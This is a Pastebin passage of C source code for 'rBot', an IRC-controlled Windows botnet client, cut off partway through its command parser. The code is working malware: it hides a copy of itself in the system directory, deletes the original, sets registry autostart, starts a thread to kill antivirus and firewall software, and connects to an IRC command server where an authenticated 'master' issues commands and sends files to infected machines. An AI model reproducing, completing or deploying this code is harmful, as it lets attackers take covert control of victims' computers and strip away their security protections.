Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 87.19 KB | None | 0 0
  1. /*
  2.  
  3. rBot
  4.  
  5. */
  6.  
  7. #include "includes.h"
  8. #include "functions.h"
  9. #include "configs.h"
  10. #include "passwd.h"
  11. #include "globals.h"
  12.  
  13. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  14.     {
  15.     char logbuf[LOGLINE],fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH],sysdir[MAX_PATH];
  16.  
  17.     int i = 0, err = 0;
  18.     DWORD id=0;
  19.     BOOL bkpserver = FALSE;
  20.  
  21. #ifndef NO_EHANDLER
  22.     // install exception handler
  23.     DWORD handler = (DWORD)_except_handler;
  24.     _asm
  25.         {                           // Build EXCEPTION_REGISTRATION record:
  26.         push    handler         // Address of handler function
  27.             push    FS:[0]          // Address of previous handler
  28.         mov     FS:[0],ESP      // Install new EXECEPTION_REGISTRATION
  29.         }
  30. #endif
  31.  
  32.         // record start time
  33.         started = GetTickCount() / 1000;
  34.         // re-seed random numbers
  35.         srand(GetTickCount());
  36.  
  37. #ifdef DEBUG_LOGGING
  38.         opendebuglog();
  39. #endif
  40.  
  41. #ifndef NO_CRYPT // Don't decrypt password here
  42.         decryptstrings((sizeof(authost) / sizeof(LPTSTR)), (sizeof(versionlist) / sizeof(LPTSTR)));
  43. #endif
  44.  
  45.         LoadDLLs(); // load all the dlls and functions here
  46.  
  47.         // hide system messages if bot crashes
  48.         fSetErrorMode(SEM_NOGPFAULTERRORBOX);
  49.  
  50.         // check if this exe is running already
  51.         if (WaitForSingleObject(CreateMutex(NULL, FALSE, botid), 30000) == WAIT_TIMEOUT)
  52.             ExitProcess(EXIT_FAILURE);
  53.  
  54.         WSADATA WSAdata;
  55.         if ((err = fWSAStartup(MAKEWORD(2, 2), &WSAdata)) != 0)
  56.             return 0;
  57.         if (LOBYTE(WSAdata.wVersion) != 2 || HIBYTE(WSAdata.wVersion) != 2 ) {
  58.             fWSACleanup();
  59.             return 0;
  60.             }
  61.  
  62.         GetSystemDirectory(sysdir, sizeof(sysdir));
  63.         GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
  64.         _splitpath(cfilename, NULL, NULL, fname, ext);
  65.         _snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);
  66.  
  67.         if (strstr(cfilename, sysdir) == NULL) {
  68.             char tmpfilename[MAX_PATH];
  69.             if (rndfilename) {
  70.                 for (i=0;(unsigned int)i < (strlen(filename) - 4);i++)
  71.                     filename[i] = (char)((rand() % 26) + 97);
  72.                 }
  73.             sprintf(tmpfilename, "%s\\%s", sysdir, filename);
  74.  
  75.             if (GetFileAttributes(tmpfilename) != INVALID_FILE_ATTRIBUTES)
  76.                 SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_NORMAL);
  77.  
  78.             // loop only once to make sure the file is copied.
  79.             BOOL bFileCheck=FALSE;
  80.             while (CopyFile(cfilename, tmpfilename, FALSE) == FALSE) {
  81.                 DWORD result = GetLastError();
  82.  
  83.                 if (!bFileCheck && (result == ERROR_SHARING_VIOLATION || result == ERROR_ACCESS_DENIED)) {
  84.                     bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
  85.                     Sleep(15000);
  86.                     } else
  87.                         break; // just continue, it's not worth retrying.
  88.                 }
  89.             SetFileTime(tmpfilename);
  90.             SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
  91.  
  92.             PROCESS_INFORMATION pinfo;
  93.             STARTUPINFO sinfo;
  94.             memset(&pinfo, 0, sizeof(pinfo));
  95.             memset(&sinfo, 0, sizeof(sinfo));
  96.             sinfo.lpTitle     = "";
  97.             sinfo.cb = sizeof(sinfo);
  98.             sinfo.dwFlags = STARTF_USESHOWWINDOW;
  99. #ifdef DEBUG_CONSOLE
  100.             sinfo.wShowWindow = SW_SHOW;
  101. #else
  102.             sinfo.wShowWindow = SW_HIDE;
  103. #endif
  104.  
  105.             char cmdline[MAX_PATH];
  106.             HANDLE hProcessOrig = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());
  107.             sprintf(cmdline,"%s %d \"%s\"",tmpfilename, hProcessOrig, cfilename);
  108.  
  109.             if (CreateProcess(tmpfilename, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, sysdir, &sinfo, &pinfo)) {
  110.                 Sleep(200);
  111.                 CloseHandle(pinfo.hProcess);
  112.                 CloseHandle(pinfo.hThread);
  113.                 fWSACleanup();
  114.                 ExitProcess(EXIT_SUCCESS);
  115.                 }
  116.             }
  117.  
  118. #ifdef DEBUG_CONSOLE
  119.         OpenConsole();
  120.         printf("Debugging console enabled.\n\n");
  121. #endif
  122.  
  123. #ifndef NO_MELT
  124.         // now delete it
  125.         if (__argc > 2) {
  126.             // now the clone is running --> kill original exe
  127.             HANDLE hProcessOrig = (HANDLE) atoi(__argv[1]);
  128.             WaitForSingleObject(hProcessOrig, INFINITE);
  129.             CloseHandle(hProcessOrig);
  130.  
  131.             if (__argv[2]) {
  132.                 Sleep(2000); //wait for 2 sec to make sure process has fully exited
  133.                 DeleteFile(__argv[2]);
  134.                 }
  135.             }
  136. #endif
  137.  
  138.         if ((AutoStart) && !(noadvapi32))
  139.             AutoStartRegs(rfilename);
  140.  
  141.         sprintf(logbuf,"[MAIN]: Bot started.");
  142.         addthread(logbuf,MAIN_THREAD,NULL);
  143.         addlog(logbuf);
  144.  
  145.         // remove the following line if you don't want any predefined aliases
  146.         memset(aliases, 0, sizeof(aliases));
  147.         addpredefinedaliases();
  148.  
  149. #ifndef NO_AVFW_KILL
  150.         sprintf(logbuf,"[PROCS]: AV/FW Killer active.");
  151.         i=addthread(logbuf,KILLER_THREAD,NULL);
  152.         if ((threads[i].tHandle = CreateThread(NULL, 0, &kill_av, NULL, 0, &id)) == NULL)
  153.             sprintf(logbuf,"[PROCS]: Failed to start AV/FW killer thread, error: <%d>.", GetLastError());
  154.         addlog(logbuf);
  155. #endif
  156.  
  157. #ifndef NO_SECSYSTEM
  158.         sprintf(logbuf,"[SECURE]: System secure monitor active.");
  159.         i=addthread(logbuf,KILLER_THREAD,NULL);
  160.         if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoSecure, NULL, 0, &id)) == NULL)
  161.             sprintf(logbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
  162.         addlog(logbuf);
  163. #endif
  164.  
  165. #ifndef NO_REGISTRY
  166.         sprintf(logbuf,"[SECURE]: Registry monitor active.");
  167.         i=addthread(logbuf,KILLER_THREAD,NULL);
  168.         if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoRegistry, (LPVOID)&rfilename, 0, &id)) == NULL)
  169.             sprintf(logbuf,"[SECURE]: Failed to start registry thread, error: <%d>.", GetLastError());
  170.         addlog(logbuf);
  171. #endif
  172.  
  173. #ifndef NO_IDENT
  174.         if (findthreadid(IDENT_THREAD) == 0) {
  175.             sprintf(logbuf,"[IDENTD]: Server running on Port: 113.");
  176.             i = addthread(logbuf,IDENT_THREAD,NULL);
  177.             if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
  178.                 sprintf(logbuf,"[IDENTD]: Failed to start server, error: <%d>.", GetLastError());
  179.             addlog(logbuf);
  180.             }
  181. #endif
  182.  
  183.         // set version while bot is running
  184.         current_version=rand()%(sizeof(versionlist)/sizeof(*versionlist));
  185.  
  186.         // copy settings into main irc structure
  187.         strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
  188.         mainirc.port = port;
  189.         strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
  190.         strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
  191.         mainirc.spy = 0;
  192.  
  193.         while (1) {
  194.             for (i = 0; i < 6; i++) {
  195. #ifndef NO_CONNCHECK
  196.                 DWORD cstat;
  197.                 // check if we're connected to the internet... if not, then wait 5mins and try again
  198.                 if (!nowininet) if (fInternetGetConnectedState(&cstat, 0) == FALSE) {
  199.                     Sleep(30000);
  200.                     continue;
  201.                     }
  202. #endif
  203.  
  204.                 success = FALSE;
  205.                 if ((err = irc_connect((LPVOID)&mainirc)) == 2)
  206.                     break; // break out of the loop
  207.  
  208.                 if (success) i--; // if we're successful in connecting, decrease i by 1;
  209.  
  210.                 // irc_connect didn't return 2, so we need to sleep then reconnect
  211.                 Sleep(3000);
  212.                 }
  213.  
  214.             if (err == 2) break; // break out of the loop and close
  215.  
  216.             if (bkpserver) {
  217.                 strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
  218.                 mainirc.port = port;
  219.                 strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
  220.                 strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
  221.                 bkpserver = FALSE;
  222.                 }
  223.             else if (!bkpserver && server2[0] != '\0') {
  224.                 strncpy(mainirc.host, server2, sizeof(mainirc.host)-1);
  225.                 mainirc.port = port2;
  226.                 strncpy(mainirc.channel, channel2, sizeof(mainirc.channel)-1);
  227.                 strncpy(mainirc.chanpass, chanpass2, sizeof(mainirc.chanpass)-1);
  228.                 bkpserver = TRUE;
  229.                 }
  230.             }
  231.  
  232.         // cleanup;
  233.         killthreadall();
  234.         fWSACleanup();
  235.  
  236.         return 0;
  237.     }
  238.  
  239. // connect function used by the original bot and all clones/spies
  240. DWORD WINAPI irc_connect(LPVOID param)
  241.     {
  242.     SOCKET sock;
  243.     SOCKADDR_IN ssin;
  244.  
  245.     char *nick1, nickbuf[MAXNICKLEN];
  246.  
  247.     int rval;
  248.  
  249.     IRC irc = *((IRC *)param);
  250.     IRC *ircs = (IRC *)param;
  251.     ircs->gotinfo = TRUE;
  252.  
  253.     while (1) {
  254.         memset(&ssin, 0, sizeof(ssin));
  255.         ssin.sin_family = AF_INET;
  256.         ssin.sin_port = fhtons((unsigned int)irc.port);
  257.         if ((ssin.sin_addr.s_addr=ResolveAddress(irc.host)) == 0)
  258.             return 0;
  259.  
  260.         memset(nickbuf, 0, sizeof(nickbuf));
  261.         nick1 = rndnick(nickbuf, nicktype, nickprefix);
  262.         strncpy(threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1);
  263.  
  264.         sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  265.         threads[irc.threadnum].sock = sock;
  266.         if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
  267.             fclosesocket(sock);
  268.             FlushDNSCache();
  269.             Sleep(2000);
  270.             continue;
  271.             }
  272.  
  273. #ifdef DEBUG_CONSOLE
  274.         printf("Bot started and connect to %s.\n", irc.host);
  275. #endif
  276.         addlogv("[MAIN]: Connected to %s.", irc.host);
  277.  
  278.         rval = irc_receiveloop(sock, irc.channel, irc.chanpass, nick1, irc.sock, irc.hchan, irc.host, irc.spy);
  279.         fclosesocket(sock);
  280.  
  281.         if (rval == 0)
  282.             continue;
  283.         else if (rval == 1) {   //Disconnect (sleep 15 mins, reconnect..)
  284.             Sleep(900000);
  285.             continue;
  286.             }
  287.         else if (rval == 2)
  288.             break;  //Quit
  289.         }
  290.     clearthread(irc.threadnum);
  291.  
  292.     return rval;
  293.     }
  294.  
  295. // receive loop for bots/spies
  296. int irc_receiveloop(SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server, int spy)
  297.     {
  298.     // main receive buffer
  299.     char buffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160];
  300.     int i, j, repeat, in_channel=0;
  301.  
  302.     for (i = 0; i < MAXLOGINS; i++)
  303.         masters[i][0] = '\0';
  304.  
  305.     if (serverpass[0] != '\0')
  306.         irc_sendv(sock,"PASS %s\r\n",serverpass);
  307.  
  308.     sprintf(login, "NICK %s\r\n"
  309.         "USER %s 0 0 :%s\r\n", nick1, rndnick(str,LETTERNICK, FALSE), nick1);
  310.  
  311. #ifdef DEBUG_LOGGING
  312.     debuglog(login,FALSE);
  313. #endif
  314.  
  315.     if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) {
  316.         fclosesocket(sock);
  317.         Sleep(5000);
  318.         return 0;
  319.         }
  320.  
  321.     // loop forever
  322.     while(1) {
  323.         memset(buffer, 0, sizeof(buffer));
  324.         // if recv() returns 0, that means that the connection has been lost.
  325.         if (frecv(sock, buffer, sizeof(buffer), 0) <= 0)
  326.             break;
  327.  
  328.         // FIX ME: Truncation occurs here
  329.         // split lines up if multiple lines received at once, and parse each line      
  330.         i = Split(buffer,&lines);
  331.         for (j=0;j < i;j++) {
  332.             repeat=1;
  333.             do {
  334. #ifdef DEBUG_LOGGING
  335.                 debuglog(lines[j]);
  336. #endif
  337.  
  338.                 repeat = irc_parseline(lines[j], sock, channel, chanpass, nick1, server, masters, host, &in_channel, repeat, spy);
  339.                 repeat--;
  340.  
  341.                 if (repeat > 0)
  342.                     Sleep(FLOOD_DELAY);
  343.                 } while (repeat > 0);
  344.  
  345.             switch (repeat) {
  346.             case -1:
  347.                 return 0; // Reconnect
  348.             case -2:
  349.                 return 1; // Disconnect
  350.             case -3:
  351.                 return 2; // Quit
  352.             default:
  353.                 break;
  354.                 }
  355.             }
  356.         }
  357.  
  358.     return 0;
  359.     }
  360.  
  361. // function to parse lines for the bot and clones
  362. int irc_parseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, char *server, char masters[][128], char *host, int *in_channel, int repeat, int spy)
  363.     {
  364.     char line1[IRCLINE], line2[IRCLINE], sendbuf[IRCLINE],ntmp[12], ntmp2[3];
  365.     char *a[MAXTOKENS], a0[128], nick[MAXNICKLEN], user[24];
  366.     unsigned char parameters[256];
  367.  
  368.     int i, ii, s=3;
  369.     DWORD id=0;
  370.     BOOL ismaster = FALSE, silent = FALSE, notice = FALSE, usevars = FALSE;
  371.  
  372.     memset(sendbuf, 0, sizeof(sendbuf));
  373.  
  374.     strncpy(nick, nick1, sizeof(nick)-1);
  375.  
  376.     if (line == NULL) return 1;
  377.     memset(line1, 0, sizeof(line1));
  378.     strncpy(line1, line, sizeof(line1)-1);
  379.     char *x = strstr(line1, " :");
  380.  
  381.     // split the line up into seperate words
  382.     strncpy(line2, line1, sizeof(line2)-1);
  383.     a[0] = strtok(line2, " ");
  384.     for (i = 1; i < MAXTOKENS; i++)
  385.         a[i] = strtok(NULL, " ");
  386.  
  387.     if (a[0] == NULL || a[1] == NULL)
  388.         return 1;
  389.  
  390.     memset(parameters,0,sizeof(parameters));
  391.     for (i=31;i>=0;i--) {
  392.         if (!a[i])
  393.             continue;
  394.         if ((a[i][0]=='-') && (a[i][2]==0)) {
  395.             //Looks like a valid parameter..
  396.             parameters[a[i][1]]=1;
  397.             a[i][0]=0;
  398.             a[i][1]=0;
  399.             a[i][2]=0;
  400.             a[i]=NULL;
  401.             } else
  402.                 break;
  403.         }
  404.  
  405.     if (parameters['s'])
  406.         silent=TRUE;
  407.     if (parameters['n']) {
  408.         silent=FALSE;
  409.         notice=TRUE;
  410.         }
  411.  
  412.     if (a[0][0] != '\n') {
  413.         strncpy(a0,  a[0], sizeof(a0)-1);
  414.         strncpy(user, a[0]+1, sizeof(user)-1);
  415.         strtok(user, "!");
  416.         }
  417.  
  418.     // pong if we get a ping request from the server
  419.     if (strcmp("PING", a[0]) == 0) {
  420.         a[0][1]='O';
  421.  
  422.         //irc_sendv(sock, "PONG %s\r\n", a[1]+1);
  423.         irc_sendv(sock, "PONG %s\r\n", a[1]);
  424.         if (*in_channel == 0)
  425.             irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  426.  
  427.         return 1;
  428.         }
  429.  
  430.     // looks like we're connected to the server, let's join the channel
  431.     if (strcmp("001", a[1]) == 0 || strcmp("005", a[1]) == 0) {
  432.         irc_sendv(sock, "USERHOST %s\r\n", nick1); // get our hostname
  433. #ifndef NO_MODEONCONN
  434.         irc_sendv(sock, "MODE %s %s\r\n", nick1, modeonconn);
  435. #else
  436.         irc_sendv(sock, "MODE %s +i\r\n", nick1);
  437. #endif
  438.         irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  439.         success = TRUE;
  440.         return 1;
  441.         }
  442.  
  443.     // get host
  444.     if (strcmp("302", a[1]) == 0) {
  445.         char *h = strstr(a[3], "@");
  446.         if (h != NULL)
  447.             strncpy(host,  h+1, 159);
  448.         return 1;
  449.         }
  450.  
  451.     // nick already in use  
  452.     if (strcmp("433", a[1]) == 0) {
  453.         rndnick(nick1, nicktype, nickprefix);
  454.         irc_sendv(sock, "NICK %s\r\n", nick1);
  455.         return 1;
  456.         }
  457.  
  458.     // check if user is logged in
  459.     for (i = 0; i < MAXLOGINS; i++) {
  460.         if (strcmp(masters[i], a0) == 0)
  461.             ismaster = TRUE;
  462.         }
  463.  
  464.     //rejoin channel if we're kicked, otherwise reset master if it was our master that got kicked
  465.     if (strcmp("KICK", a[1]) == 0) {
  466.         char *knick;
  467.         for (i = 0; i < MAXLOGINS; i++) {
  468.             if (masters[i][0] == '\0') continue;
  469.             strncpy(a0,  masters[i], sizeof(a0)-1);
  470.             knick = user;
  471.             if (knick != NULL && a[3] != NULL)
  472.                 if (strcmp(knick, a[3]) == 0) {
  473.                     masters[i][0] = '\0';
  474.                     sprintf(sendbuf,"[MAIN]: User %s logged out.", knick);
  475.                     irc_sendv(sock, "NOTICE %s :%s\r\n", knick, sendbuf);
  476.                     addlog(sendbuf);
  477.                     }
  478.             }
  479.         if (strcmp(nick1, a[3]) == 0) {
  480.             *in_channel = 0;
  481.             irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  482.             }
  483.         return 1;
  484.         }
  485.  
  486.     if (strcmp("NICK", a[1]) == 0) {
  487.         char *oldnck = user, *newnck = a[2] + 1;
  488.         for (i=0;i<MAXLOGINS;i++) {
  489.             if (strcmp(masters[i],a0) == 0) {
  490.                 //Master has changed nick
  491.                 //Lets TRY to rebuild the master-usermask.
  492.                 char *identandhost=strchr(a0,'!');
  493.                 if (identandhost) {
  494.                     masters[i][0]=':';  //Prefix
  495.                     strcpy(&masters[i][1],newnck);
  496.                     strcat(&masters[i][2],identandhost);
  497.                     }
  498.                 }
  499.             }
  500.         if(oldnck != NULL && newnck != NULL) {
  501.             if(strcmp(oldnck, nick1) == 0) {
  502.                 strncpy(nick1, newnck, 15);
  503.                 return 1;
  504.                 }
  505.             char debugbuf[100];
  506.             for (i = 0; i < MAXLOGINS; i++) {
  507.                 if(masters[i][0] != '\0' && strcmp(masters[i], a0) == 0) {
  508.                     char *ih = strchr(a0, '!');
  509.                     if(ih == NULL || strlen(newnck) + strlen(ih) > 126)
  510.                         return 1;
  511.                     sprintf(masters[i], ":%s%s", newnck, ih);
  512.                     irc_privmsg(sock, channel, debugbuf, FALSE);
  513.                     break;
  514.                     }
  515.                 }
  516.             }
  517.  
  518.         return 1;
  519.         }
  520.  
  521.     // reset master if master parts or quits
  522.     if (strcmp("PART", a[1]) == 0 || strcmp("QUIT", a[1]) == 0) {
  523.         for (i = 0; i < MAXLOGINS; i++) {
  524.             if (masters[i][0] != '\0') {
  525.                 if (strcmp(masters[i], a[0]) == 0) {
  526.                     masters[i][0] = '\0';
  527.                     sprintf(sendbuf, "[MAIN]: User: %s logged out.", user);
  528.                     addlog(sendbuf);
  529.                     if (strcmp("PART", a[1]) == 0)
  530.                         irc_sendv(sock, "NOTICE %s :%s\r\n", a[0] + 1, sendbuf);
  531.                     return 1;
  532.                     }
  533.                 }
  534.             }
  535.         }
  536.  
  537.     // we've successfully joined the channel
  538.     if (strcmp("353", a[1]) == 0) {
  539.         if (strcmp(channel, a[4]) == 0)
  540.             *in_channel = 1;
  541.         addlogv("[MAIN]: Joined channel: %s.", a[4]);
  542.         return 1;
  543.         }
  544.  
  545.     // if we get a privmsg, notice or topic command, start parsing it
  546.     if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || (strcmp("332", a[1]) == 0 && topiccmd)) {
  547.         if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) {  // it's a privmsg/notice
  548.             if (strcmp("NOTICE", a[1]) == 0)
  549.                 notice = TRUE;
  550.             if (a[2] == NULL) return 1;
  551.  
  552.             if (strstr(a[2], "#") == NULL || notice)
  553.                 a[2] = user;
  554.  
  555.             if (a[3] == NULL) return 1;
  556.             a[3]++;
  557.             // if our nick is the first part of the privmsg, then we should look at a[4] for a command, a[3] otherwise.
  558.             if (a[3] && nick1)
  559.                 if (strncmp(nick, a[3], strlen(nick)) == 0)
  560.                     s = 4;
  561.                 else
  562.                     s = 3;
  563.             if (a[s] == NULL) return 1;
  564.             // if someone asks for our version, send version reply
  565.             if (strcmp("\1VERSION\1", a[s]) == 0)
  566.                 if (a[2][0] != '#' && versionlist[current_version][0] != '\0') {
  567.                     irc_sendv(sock, "NOTICE %s :\1VERSION %s\1\r\n", a[2], (char *)versionlist[current_version]);
  568.                     return 1;
  569.                     }
  570.                 else if (strcmp("\1PING", a[s]) == 0)
  571.                     if (a[s+1] != NULL && a[2][0] != '#') {
  572.                         irc_sendv(sock, "NOTICE %s :\1PING %s\1\r\n", a[2], a[s+1]);
  573.                         return 1;
  574.                         }
  575.             } else  { // it's a topic command
  576.                 s = 4;
  577.                 a[4]++;
  578.                 a[2] = a[3];
  579.             }
  580.  
  581. #ifndef NO_DCC
  582.         if (strcmp("\1DCC", a[s]) == 0) {
  583.             if (strcmp("SEND", a[s+1]) == 0) {
  584.                 if (ismaster) {
  585.                     DCC dcc;
  586.                     sprintf(dcc.filename,"%s",a[s+2]);
  587.                     sprintf(dcc.host,"%s",a[s+3]);
  588.                     dcc.port = atoi(a[s+4]);
  589.                     dcc.sock = sock;
  590.                     strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
  591.                     dcc.notice = notice;
  592.                     dcc.silent = silent;
  593.  
  594.                     sprintf(sendbuf, "[DCC]: Receive file: '%s' from user: %s.", dcc.filename,dcc.sendto);
  595.                     dcc.threadnum=addthread(sendbuf,DCC_THREAD,NULL);
  596.                     if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCGetThread, (LPVOID)&dcc, 0, &id)) {
  597.                         while (dcc.gotinfo == FALSE)
  598.                             Sleep(50);
  599.                         } else
  600.                             sprintf(sendbuf,"[DCC]: Failed to start transfer thread, error: <%d>.", GetLastError());
  601.                     } else
  602.                         sprintf(sendbuf, "[DCC]: Receive file: '%s' failed from unauthorized user: %s.", a[s+2], user);
  603.                     addlog(sendbuf);
  604.  
  605.                     return 1;
  606.                 }
  607.             else if (strcmp("CHAT", a[s+1]) == 0) {
  608.                 if (ismaster) {
  609.                     if (findthreadid(DCCCHAT_THREAD) == 0) {
  610.                         DCC dcc;
  611.                         sprintf(dcc.host,"%s",a[s+3]);
  612.                         dcc.port = atoi(a[s+4]);
  613.                         dcc.sock = sock;
  614.                         strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
  615.                         dcc.notice = notice;
  616.                         dcc.silent = silent;
  617.  
  618.                         sprintf(sendbuf, "[DCC]: Chat from user: %s.", user);
  619.                         dcc.threadnum=addthread(sendbuf,DCCCHAT_THREAD,NULL);
  620.                         if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCChatThread, (LPVOID)&dcc, 0, &id)) {
  621.                             while (dcc.gotinfo == FALSE)
  622.                                 Sleep(50);
  623.                             } else
  624.                                 sprintf(sendbuf,"[DCC]: Failed to start chat thread, error: <%d>.", GetLastError());
  625.                         } else
  626.                             sprintf(sendbuf,"[DCC]: Chat already active with user: %s.",user);
  627.                     } else
  628.                         sprintf(sendbuf,"[DCC]: Chat failed by unauthorized user: %s.",user);
  629.                     addlog(sendbuf);
  630.  
  631.                     return 1;
  632.                 }
  633.             } else
  634. #endif
  635.  
  636.                 if (a[s]++[0] != prefix)
  637.                     return 1;
  638.  
  639. #ifdef DEBUG_CRYPT  // NOTE: Here for testing only. Please leave until we have the auth bug looked at.
  640. #ifndef NO_CRYPT
  641.             if (strcmp("dump", a[s]) == 0) {
  642.                 if (a[s+1]) {
  643.                     irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY);
  644.                     irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY);
  645.                     irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY);
  646.                     irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY);
  647.                     irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY);
  648.                     irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]);
  649.                     irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  650.                     Crypt(password,strlen(password));
  651.                     irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  652.                     Crypt(password,strlen(password));
  653.                     irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  654.                     Crypt(a[s+1],strlen(a[s+1]));
  655.                     irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY);
  656.                     }
  657.  
  658.                 return 1;
  659.                 }
  660. #endif
  661. #endif
  662.  
  663.             // see if someone is logging in
  664.             if (strcmp("login", a[s]) == 0 || strcmp("l", a[s]) == 0) {
  665.                 if (a[s+1] == NULL || ismaster)
  666.                     return 1;
  667.  
  668.                 char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0");
  669.                 h = strtok(h, "~");
  670. #ifndef NO_CRYPT
  671.                 Crypt(a[s+1],strlen(a[s+1]),"",0); // Encrypt password to compare to stored password
  672. #endif
  673.                 if (strcmp(password, a[s+1]) != 0) {
  674.                     irc_sendv(sock, "NOTICE %s :Pass auth failed (%s!%s).\r\n", user, user, h);
  675.                     irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
  676.                     sprintf(sendbuf, "[MAIN]: *Failed pass auth by: (%s!%s).", u, h);
  677.                     addlog(sendbuf);
  678.                     return 1;
  679.                     }
  680.  
  681.                 BOOL host_ok=FALSE;
  682.                 for (i=0;i<(sizeof(authost) / sizeof(LPTSTR));i++) {
  683. #ifndef NO_WILDCARD
  684.                     if (wildcardfit(authost[i], h)) {
  685.                         host_ok = TRUE;
  686.                         break;
  687.                         }
  688. #else
  689.                     if (strcmp(h, authost[i]) == 0) {
  690.                         host_ok = TRUE;
  691.                         break;
  692.                         }
  693. #endif
  694.                     }
  695.                 if (!host_ok) {
  696.                     irc_sendv(sock, "NOTICE %s :Host Auth failed (%s!%s).\r\n", user, user, h);
  697.                     irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
  698.                     sprintf(sendbuf, "[MAIN]: *Failed host auth by: (%s!%s).", u, h);
  699.                     addlog(sendbuf);
  700.                     return 1;
  701.                     }
  702.                 for (i = 0; i < MAXLOGINS; i++) {
  703.                     if (a[s+1] == NULL) return 1;
  704.                     if (masters[i][0] != '\0') continue;
  705.                     if (strcmp(password, a[s+1]) == 0) {
  706.                         strncpy(masters[i],  a0, 127);
  707.                         if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Password accepted.", notice);
  708.                         addlogv("[MAIN]: User: %s logged in.", user);
  709.                         break;
  710.                         }
  711.                     }
  712.                 return 1;
  713.                 }
  714.  
  715.             if ((ismaster || strcmp("332", a[1]) == 0) && spy == 0) {
  716.                 // commands requiring no parameters
  717.                 // check if the command matches an alias's name
  718.                 for (i = 0; i < anum; i++) {
  719.                     if (strcmp(aliases[i].name, a[s]) == 0) {
  720.                         char *sc = strstr(line, " :");
  721.                         if (sc == NULL) return 1;
  722.                         sc[2] = prefix;
  723.                         sc[3] = prefix;
  724.                         strncpy(sc+4, aliases[i].command, 159);
  725.  
  726.                         // process '$x-' parameter variables
  727.                         for (ii=15; ii > 0; ii--) {
  728.                             sprintf(ntmp, "$%d-", ii);
  729.                             if (strstr(line, ntmp) != NULL && a[s+ii+1] != NULL) {
  730.                                 x = x + strlen(aliases[i].name);
  731.                                 if (x != NULL) {
  732.                                     char *y = strstr(x, a[s+ii]);
  733.                                     if (y != NULL) replacestr(line, ntmp, y);
  734.                                     }
  735.                                 }
  736.                             else if (a[s+ii+1] == NULL) {
  737.                                 strncpy(ntmp2, ntmp, 2);
  738.                                 ntmp2[2] = '\0';
  739.                                 replacestr(line, ntmp, ntmp2);
  740.                                 }
  741.                             }
  742.  
  743.                         // process '$x' parameter variables
  744.                         for (ii=16; ii > 0; ii--){
  745.                             sprintf(ntmp, "$%d", ii);
  746.                             if (strstr(line, ntmp) != NULL && a[s+ii] != NULL)
  747.                                 replacestr(line, ntmp, a[s+ii]);
  748.                             }
  749.  
  750.                         usevars = TRUE;
  751.                         break;
  752.                         }
  753.                     }
  754.  
  755.                 if (a[s][0] == prefix || usevars) {
  756.                     // process variables
  757.                     replacestr(line, "$me", nick1); // bot's nick
  758.                     replacestr(line, "$user", user); // user's nick
  759.                     replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot)
  760.                     replacestr(line, "$rndnick", rndnick(ntmp)); // random string of 4-7 characters
